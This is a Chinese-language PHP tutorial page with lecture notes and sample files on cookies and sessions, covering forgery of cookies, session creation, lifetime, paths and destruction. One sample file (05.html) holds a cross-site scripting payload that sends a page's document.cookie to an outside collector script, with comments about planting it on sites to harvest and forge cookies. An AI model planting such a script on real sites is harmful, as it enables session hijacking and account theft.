php-session-1218

来源:互联网 发布:java 可变数组 编辑:程序博客网 时间:2024/06/15 07:13
01.php<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====cookie复习cookie的工作流程:由服务器发送给浏览器一个cookie(牌子)以后再访问时,由浏览器带着cookie(牌子),服务器检测cookie的信息如何设置cookie: setcookie()函数如何读取cookie: $_COOKIE[] 超级全局数组问: cookie由浏览器带着的,那么如何被篡改了,怎么办?比如:你买的奶酪,你把单据改成"蛋糕",如何防范?因为cookie是很容易被篡改或伪造的,因此,cookie往往用来记住用户名,浏览历史,等安全性要求不高的地方.能否防范呢? 答:能,可以用session技术也可以通过一些加密技巧来防范.先用session来处理***/setcookie('user','lisi');echo 'OK';02.php<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****/if($_COOKIE['user'] == 'vip') {    echo '尊敬的大客户!';} else {    echo '普通客户,爱买不买!';}03.php<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====思考:对于cookie,相当于蛋糕店的老板给你一张纸,纸上写你领取的物品: 奶酪,蛋糕等,这个纸片在你手里,容易篡改,刚才大家已经看到.现在换个思路:你买了蛋糕后,老板给你一张收据,收据上写:"单号:1018"你取物品时,老板打开账本,核对:1018:八寸蛋糕一份!取出八寸蛋糕给你!这一次,不好伪造了.***/session_start(); // 开启session$_SESSION['user'] = 'liudehua';echo 'OK';04.php<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====读取session***/session_start();echo $_SESSION['user'];05.html<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="zh-CN"><head><title>新建网页</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="description" content="" /><meta name="keywords" content="" /><script type="text/javascript"></script><style type="text/css"></style></head>    <body>        <h2>XX网站,被嵌入了一些恶意脚本</h2>        <script type="text/javascript">            var js = document.createElement('script');            js.src = 'http://my.com/getcookie.php?' + document.cookie;            // 上面这句话,就把被入侵网站的cookie,发送到了getcookie.php,            // 你可以挂上几个网站,每天就等着接别人的cookie,伪造...#%(WPITREPOPWR        </script>    </body></html>06.php<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====探讨session的生命周期!我们知道,一个session,有2方面的数据共同发挥作用1:客户端的cookie2:服务器端的session文件要想让session失效,也是要从这2个角度来考虑在php.ini里, 如下选项,控制sessionid的cookie的生命周期,秒为单位session.cookie_lifetime = 15注意:如果用户篡改了cookie,让cookie的生命周期为1年,那你也判断不出来.如果想严格的让session就半小时有效,可以这样:$_SESSION['time'] = 登陆时的时间戳检验session的开启时间!***//**session的有效路径!session的有效,取决于cookie,cookie在哪儿有效,session自然就能读到PHP如下选项,指定了sessionid这个cookie的有效路径是 / 路径,自然session无论在多深的目录下设置,而session在整站都有效.; The path for which the cookie is valid.; http://php.net/session.cookie-pathsession.cookie_path = /**//**cookie只能存储字符串/数字这样的标量数据而session还可以存储数组/对象 (除了资源型,其他7种都可以)请注意:如果你把对象存储到session里,那么另一个读取session的页面,也必须有此对象对应的类声明才合理.否则,从session里分析出一个对象,却没有与之对应的类,则会提示:__PHP_Incomplete_Class Object **//**从http协议的角度看cookie信息是放在头信息里传输的,自然,使用cookie之前,不能有任何主体信息的输出,空白也不行Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent如果你仔细检测,没有空白,请检查BOM信息**/读session<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====***/session_start();class Dog {    public $leg = 4;}print_r($_SESSION);设置session<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****//***====笔记部分====session详细语法学习session的创建,修改,销毁1:无论是创建,修改,还是销毁session,都需要先session_start();2:一旦session_start之后,$_SESSION就可以自由的添加,删除,修改即:当成普通数组一样操作(这一点和cookie,cookie的操作,只能通过setcookie函数来进行)***/session_start();$_SESSION['user']='zhaobenshan';$_SESSION['school']='PKU';$_SESSION['test'] = array('中','华','人');class Dog {    public $leg = 4;}$dog = new Dog();$_SESSION['dog'] = $dog;echo 'OK';销毁session<?php/****燕十八 公益PHP讲堂论  坛: http://www.zixue.it微  博: http://weibo.com/YshibaYY频道: 88354001****/session_start();/**unset($_SESSION['user']);$_SESSION['school'] = '牛筋大学';**/// 销毁session,/*// 1:可以单独销毁某一个单元,即把$_SESSION数组某一个单元unset掉unset($_SESSION['user']);*//*// 2:可以整体把箱子给清空,即$_SESSION数组给清空$_SESSION = array();*//*// 3:利用函数把箱子整体清空,效果同第2种办法session_unset();*//*// 4:彻底把箱子给毁掉,即文件都没了*/session_destroy();

0 0
原创粉丝点击